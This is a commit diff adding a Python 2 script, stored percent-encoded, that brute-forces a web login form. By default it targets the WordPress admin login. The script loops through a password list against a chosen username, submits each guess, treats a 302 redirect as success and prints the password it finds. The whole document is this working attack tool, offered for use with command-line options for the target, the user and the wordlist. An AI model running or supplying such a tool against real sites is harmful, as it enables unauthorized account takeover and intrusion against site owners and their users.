@@ -0,0 +1,2773 @@
+#/bin/python%0A# Default is set up for a wordpress admin form%0Aimport mechanize %0Aimport logging%0Aimport time%0Afrom optparse import OptionParser%0Afrom urllib2 import HTTPError%0A%0Aform_username = 'log'%0Aform_password = 'pwd'%0Aform_submit = 'wp-submit'%0A%0A%0Adef brute_server(server, user, password_list):%0A  br = mechanize.Browser()%0A  br.set_handle_equiv(False)%0A  br.set_handle_redirect(False)%0A  br.set_handle_referer(False)%0A  br.set_handle_robots(False)%0A  br.open(server)%0A  pass_list = open(password_list)%0A  for x in pass_list.readlines():%0A    try:  %0A      time.sleep(3)%0A      br.select_form( nr = 0 )%0A      br.form%5Bform_username%5D = user%0A      br.form%5Bform_password%5D = ''.join(x)%0A      print %22Checking %22,''.join(x)%0A      request = br.click(name=form_submit)%0A      response = br.open(request)%0A      if response.code == 200:%0A        print %22No dice...%22%0A    except HTTPError, e:%0A      if e.code == 302: # Redirect is our success case%0A%09    print %22Correct password is %22,''.join(x)%0A%0A%09%09%0Adef main():%0A%0A  # Setup the command line arguments.%0A  optp = OptionParser()%0A%0A  # Output verbosity options%0A  optp.add_option('-q', '--quiet', help='set logging to ERROR',%0A                  action='store_const', dest='loglevel',%0A                  const=logging.ERROR, default=logging.INFO)%0A  optp.add_option('-d', '--debug', help='set logging to DEBUG',%0A                  action='store_const', dest='loglevel',%0A                  const=logging.DEBUG, default=logging.INFO)%0A  optp.add_option('-v', '--verbose', help='set logging to COMM',%0A                  action='store_const', dest='loglevel',%0A                  const=5, default=logging.INFO)%0A%0A  # Option for target web form to brute%0A  optp.add_option(%22-t%22, %22--target%22, dest=%22target%22,%0A                  help=%22The target form to brute%22)%0A%09%09%09%09  %0A  # Option for username to attack%0A  optp.add_option(%22-u%22, %22--user%22, dest=%22user%22,%0A                  help=%22The username field of the form%22)%0A%09%09%09%09  %0A  # Option for target web form to brute%0A  optp.add_option(%22-p%22, %22--password%22, dest=%22password%22,%0A                  help=%22The password list to use in the dictionary attack%22)%0A%09%09%09%09  %0A  opts, args = optp.parse_args()%0A%0A  if opts.target is None:%0A    opts.target = raw_input(%22What is the target page with the form: %22)%0A%09%0A  if opts.user is None:%0A    opts.user = raw_input(%22What is the username to brute force: %22)%0A%09%0A  if opts.password is None:%0A    opts.password = raw_input(%22What is the password list file to use: %22)%0A  %0A  # Setup logging.%0A  logging.basicConfig(level=opts.loglevel,%0A                      format='%25(levelname)-8s %25(message)s')%0A%0A%0A  # Main Event Loop:%0A  try:%0A    brute_server(opts.target, opts.user, opts.password)%0A  %0A  except (KeyboardInterrupt, EOFError) as e:%0A    print %22Exiting...%22%0A    exit(0)%0A%09%0A  print %22Completed Password List!%22%0A  %0Aif __name__ == '__main__':%0A  main()%0A

Create mechanize_webform_brute.py